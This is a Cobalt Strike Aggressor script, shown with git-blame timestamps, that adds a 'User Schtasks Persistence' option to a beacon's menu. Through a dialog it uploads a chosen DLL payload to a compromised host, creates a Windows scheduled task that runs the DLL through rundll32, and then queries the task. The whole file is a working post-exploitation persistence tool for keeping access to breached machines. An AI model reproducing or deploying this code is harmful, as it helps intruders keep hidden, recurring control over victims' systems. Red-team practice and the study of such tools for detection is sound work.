2017-05-03 12:56:59 +00:00
|
|
|
#User Schtasks Persistence
|
2017-05-20 08:09:33 +00:00
|
|
|
#Author: @r3dQu1nn
|
2017-05-03 12:56:59 +00:00
|
|
|
#Runs as current user for the selected beacon
|
|
|
|
#Meant for quick user level persistence upon initial access
|
|
|
|
#Thanks to @noone and bluescreenofjeff for help
|
|
|
|
|
|
|
|
sub persistUserSchtasks {
|
|
|
|
$bid = $1;
|
2017-05-08 11:19:00 +00:00
|
|
|
$dialog = dialog("User Schtasks Persistence", %(taskname => "Evil Task Name..", targetpath => "Target Path..", user => "User to Run as..", schedule => "Schedule modifier..", payloadfile => "Select DLL Payload.."), lambda({
|
|
|
|
if ("$3['taskname']" ismatch 'Evil Task Name..' || "$3['targetpath']" ismatch 'Target Path..' || "$3['payloadfile']" ismatch 'Select DLL Payload..' || "$3['user']" ismatch 'User to Run as..' || "$3['schedule']" ismatch 'Schedule modifier..') {
|
2017-05-08 11:20:27 +00:00
|
|
|
berror($bid, "\c4Please enter a valid Task Name, Target Path, Schedule Modifier, and a valid Payload File.");
|
2017-05-03 12:56:59 +00:00
|
|
|
break;
|
|
|
|
}
|
|
|
|
else {
|
|
|
|
bcd($bid, $3['targetpath']);
|
|
|
|
bupload($bid, $3['payloadfile']);
|
2018-02-09 19:46:57 +00:00
|
|
|
bpowerpick($bid, 'schtasks /create /tn "'.$3['taskname'].'" /tr "C:\Windows\System32\rundll32.exe '.$3['targetpath']."\\".split("/",$3['payloadfile'])[-1].',StartW" /ru "'.$3['user'].'" /sc "'.$3['schedule'].'"');
|
|
|
|
bpowerpick($bid, 'schtasks /query /v /tn "'.$3['taskname'].'" /FO list');
|
2017-05-03 12:56:59 +00:00
|
|
|
}
|
|
|
|
}));
|
|
|
|
|
2017-05-03 17:58:20 +00:00
|
|
|
dialog_description($dialog, "User Schtasks Persistence - Generates a schtask for persistence on selected beacon.");
|
2017-05-03 12:56:59 +00:00
|
|
|
|
|
|
|
drow_text($dialog, "taskname", "Schtasks Taskname:");
|
2017-05-03 17:58:20 +00:00
|
|
|
drow_text($dialog, "user", "User to Run as:");
|
2017-05-03 12:56:59 +00:00
|
|
|
drow_text($dialog, "targetpath", "Target Path:");
|
2017-05-08 11:19:00 +00:00
|
|
|
drow_text($dialog, "schedule", "Schedule Modifier:");
|
2017-05-03 13:33:07 +00:00
|
|
|
drow_file($dialog, "payloadfile", "DLL Payload:");
|
2017-05-03 12:56:59 +00:00
|
|
|
|
2017-05-03 14:35:22 +00:00
|
|
|
dbutton_action($dialog, "Create");
|
2017-05-03 12:56:59 +00:00
|
|
|
dialog_show($dialog);
|
|
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
popup beacon_bottom {
|
|
|
|
item "User Schtasks Persistence" {
|
|
|
|
persistUserSchtasks($1);
|
|
|
|
}
|
|
|
|
}
|